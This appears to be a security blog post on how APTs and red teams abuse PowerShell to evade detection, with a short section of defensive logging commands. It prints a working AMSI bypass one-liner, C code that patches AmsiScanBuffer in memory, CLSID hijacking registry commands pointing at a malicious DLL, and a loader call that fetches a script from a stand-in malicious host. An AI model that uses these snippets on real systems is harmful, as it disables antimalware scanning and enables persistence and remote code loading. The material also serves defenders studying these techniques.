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2025-02-14
In this blog post, we delve into how PowerShell is leveraged by advanced persistent threats (APTs) in red team operations, with a focus on evasion techniques. The article provides a comprehensive exploration of various tactics and tools used to bypass security measures, particularly focusing on AMSI (Antimalware Scan Interface) and .NET abuse.
Key Points Covered:
- AMSI Bypass with PowerShell: Learn how to bypass AMSI using PowerShell, a common technique employed by APTs to evade detection.
- .NET Abuse: Discover how to run PowerShell commands without invoking PowerShell directly, making detection more difficult.
- AMSI Memory Patching in C: Practical examples of memory patching in C, along with tools like Invoke-Obfuscation.
- APT Evasion Techniques: Insights into how APTs develop custom methods to avoid detection by security tools.
- CLSID Hijacking and LOLBins: Practical examples of underused techniques such as CLSID hijacking and exploiting lesser-known LOLBins.
- PowerLoad3r: An advanced, evasive malicious PowerShell script loader.
Practical Examples and Commands:
1. AMSI Bypass with PowerShell:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
2. .NET Abuse Example:
using System;
using System.Management.Automation;
class Program {
static void Main() {
PowerShell ps = PowerShell.Create();
ps.AddScript("Write-Output 'Hello, World!'");
ps.Invoke();
}
}
3. AMSI Memory Patching in C:
#include <windows.h>
#include <amsi.h>
void patchAMSI() {
HMODULE hAmsi = LoadLibrary("amsi.dll");
FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*((PBYTE)pAmsiScanBuffer) = 0xC3; // RET
VirtualProtect(pAmsiScanBuffer, 1, oldProtect, &oldProtect);
}
4. CLSID Hijacking Example:
New-Item -Path "HKCU:\Software\Classes\CLSID{00000000-0000-0000-0000-000000000000}" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID{00000000-0000-0000-0000-000000000000}" -Name "InprocServer32" -Value "C:\path\to\malicious.dll"
5. PowerLoad3r Usage:
Import-Module .\PowerLoad3r.ps1 Invoke-PowerLoad3r -ScriptUrl "http://malicious.site/script.ps1"
What Undercode Say:
PowerShell remains a powerful tool in the arsenal of both red teams and APTs due to its flexibility and deep integration with Windows systems. The techniques discussed in this article highlight the importance of understanding how PowerShell can be abused to bypass security measures. AMSI bypass, .NET abuse, and memory patching are just a few of the methods that can be used to evade detection.
In addition to these techniques, the use of CLSID hijacking and LOLBins demonstrates the creativity of attackers in finding new ways to exploit systems. Tools like PowerLoad3r further enhance the ability to load malicious scripts without detection.
To defend against such threats, it is crucial to implement robust security measures, including regular updates, monitoring, and the use of advanced threat detection tools. Understanding the tactics used by attackers is the first step in developing effective defenses.
For further reading and practical examples, refer to the original blog post: PowerShell Exploits – Modern APTs and Their Malicious Scripting Tactics.
Additional Commands for Defense:
- Monitor PowerShell Activity:
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } Disable PowerShell v2:
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
Enable Script Block Logging:
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
Check for AMSI Bypass Attempts:
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" | Where-Object { $_.Id -eq 1116 }
By staying informed and proactive, you can better protect your systems from the evolving threats posed by APTs and malicious scripting tactics.
References:
Hackers Feeds, Undercode AI
